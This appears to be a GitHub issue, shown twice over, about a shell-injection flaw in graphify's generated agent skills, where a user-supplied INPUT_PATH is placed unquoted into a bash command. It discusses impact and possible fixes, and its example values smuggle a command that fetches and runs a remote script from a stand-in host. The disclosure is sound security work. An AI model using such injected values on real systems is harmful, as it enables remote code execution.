You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Every generated skill's Step 1 substitutes INPUT_PATH (the user-supplied corpus path) as raw, unquoted text directly into a bash command, not just into a Python string literal:
Bash performs word-splitting and, critically, still expands $(...)/backtick command substitution inside the outer double quotes, and cd INPUT_PATH itself is completely unquoted. If INPUT_PATH is substituted with a value containing shell metacharacters, the substituted text executes as shell code the moment the agent runs this line.
Evidence (current v8)
tools/skillgen/fragments/shell/posix.md:34 — the shared POSIX Step 1 fragment, rendered verbatim into essentially every non-monolith platform's skill (skill-claw.md, skill-kilo.md, skill-claude.md/skill.md, skill-codex.md, skill-amp.md, skill-copilot.md, skill-droid.md, skill-kiro.md, skill-opencode.md, skill-pi.md, skill-trae.md, skill-vscode.md, skill-agents.md):
tools/skillgen/fragments/shell/powershell.md:61 — the same class of problem for the PowerShell variant (skill-windows.md), via unquoted argument substitution into Resolve-Path:
This is pre-existing on pristine v8 (confirmed via git show 26b02b5:.../shell/posix.md) — not introduced by any recent PR, and not covered by the file-based fix already shipped for save-result/graphify add (#3439/#3442) or by the aider/devin follow-up (#3640), both of which are about different commands.
Impact
INPUT_PATH is the resolved path from the user's own /graphify <path> invocation — free text an agent is instructed to substitute verbatim ("Every occurrence of INPUT_PATH below is a placeholder substituted with this resolved path"). A path pasted from an untrusted source (a malicious README's suggested command, a copy-pasted value from an untrusted page) containing e.g. `curl evil.sh | sh` or ; curl evil.sh | sh # would execute the moment Step 1 runs, before any Python code is ever reached.
Suggested fix direction
This is the same root problem #3439/#3442 fixed for save-result/add (build a command from unsanitized free text) and #3640 flags for aider/devin's save-result/add flows, but at an earlier, more foundational point (Step 1's interpreter bootstrap, which runs on every single platform, split or monolith). Since Step 1 already has bash execution capability by construction (the surrounding block is a bash code fence), the fix doesn't need a new capability — it needs the same category of change: stop substituting INPUT_PATH into an interpreted context at all. Candidate approaches:
Have the agent write INPUT_PATH to a variable via a quoted assignment (ROOT="INPUT_PATH") if that's safe (it is not — the same expansion problem applies inside "..."), or
Resolve the path via Python instead of the shell ("$PYTHON" -c "import sys, os; print(os.path.abspath(sys.argv[1]))" INPUT_PATH still substitutes into a bash line, so this doesn't fully solve it either unless INPUT_PATH is passed as a single properly-quoted positional argument — 'INPUT_PATH' with a single-quoted (not double-quoted) bash string does prevent $()/backtick expansion, though a literal ' in the path would still break out; a quoted heredoc handing the raw path to Python via stdin, mirroring the direction suggested in aider/devin skills still build save-result/add commands from unescaped free text (RCE via $(...) in double quotes) #3640, sidesteps this entirely.
Given the scope (touches the fragment used by essentially every platform, plus the PowerShell equivalent, plus verifying graphify-out/.graphify_root's own consumers still work with whatever new resolution mechanism is chosen), this needs its own dedicated PR with careful design and testing across the generated artifacts, rather than a quick patch — filed here for visibility and triage rather than attempted inline.
Summary
Every generated skill's Step 1 substitutes
INPUT_PATH(the user-supplied corpus path) as raw, unquoted text directly into a bash command, not just into a Python string literal:Bash performs word-splitting and, critically, still expands
$(...)/backtick command substitution inside the outer double quotes, andcd INPUT_PATHitself is completely unquoted. IfINPUT_PATHis substituted with a value containing shell metacharacters, the substituted text executes as shell code the moment the agent runs this line.Evidence (current
v8)tools/skillgen/fragments/shell/posix.md:34— the shared POSIX Step 1 fragment, rendered verbatim into essentially every non-monolith platform's skill (skill-claw.md,skill-kilo.md,skill-claude.md/skill.md,skill-codex.md,skill-amp.md,skill-copilot.md,skill-droid.md,skill-kiro.md,skill-opencode.md,skill-pi.md,skill-trae.md,skill-vscode.md,skill-agents.md):tools/skillgen/fragments/shell/powershell.md:61— the same class of problem for the PowerShell variant (skill-windows.md), via unquoted argument substitution intoResolve-Path:This is pre-existing on pristine v8 (confirmed via
git show 26b02b5:.../shell/posix.md) — not introduced by any recent PR, and not covered by the file-based fix already shipped forsave-result/graphify add(#3439/#3442) or by theaider/devinfollow-up (#3640), both of which are about different commands.Impact
INPUT_PATHis the resolved path from the user's own/graphify <path>invocation — free text an agent is instructed to substitute verbatim ("Every occurrence ofINPUT_PATHbelow is a placeholder substituted with this resolved path"). A path pasted from an untrusted source (a malicious README's suggested command, a copy-pasted value from an untrusted page) containing e.g.`curl evil.sh | sh`or; curl evil.sh | sh #would execute the moment Step 1 runs, before any Python code is ever reached.Suggested fix direction
This is the same root problem #3439/#3442 fixed for
save-result/add(build a command from unsanitized free text) and #3640 flags foraider/devin's save-result/add flows, but at an earlier, more foundational point (Step 1's interpreter bootstrap, which runs on every single platform, split or monolith). Since Step 1 already has bash execution capability by construction (the surrounding block is abashcode fence), the fix doesn't need a new capability — it needs the same category of change: stop substitutingINPUT_PATHinto an interpreted context at all. Candidate approaches:INPUT_PATHto a variable via a quoted assignment (ROOT="INPUT_PATH") if that's safe (it is not — the same expansion problem applies inside"..."), or"$PYTHON" -c "import sys, os; print(os.path.abspath(sys.argv[1]))" INPUT_PATHstill substitutes into a bash line, so this doesn't fully solve it either unlessINPUT_PATHis passed as a single properly-quoted positional argument —'INPUT_PATH'with a single-quoted (not double-quoted) bash string does prevent$()/backtick expansion, though a literal'in the path would still break out; a quoted heredoc handing the raw path to Python via stdin, mirroring the direction suggested in aider/devin skills still build save-result/add commands from unescaped free text (RCE via $(...) in double quotes) #3640, sidesteps this entirely.Given the scope (touches the fragment used by essentially every platform, plus the PowerShell equivalent, plus verifying
graphify-out/.graphify_root's own consumers still work with whatever new resolution mechanism is chosen), this needs its own dedicated PR with careful design and testing across the generated artifacts, rather than a quick patch — filed here for visibility and triage rather than attempted inline.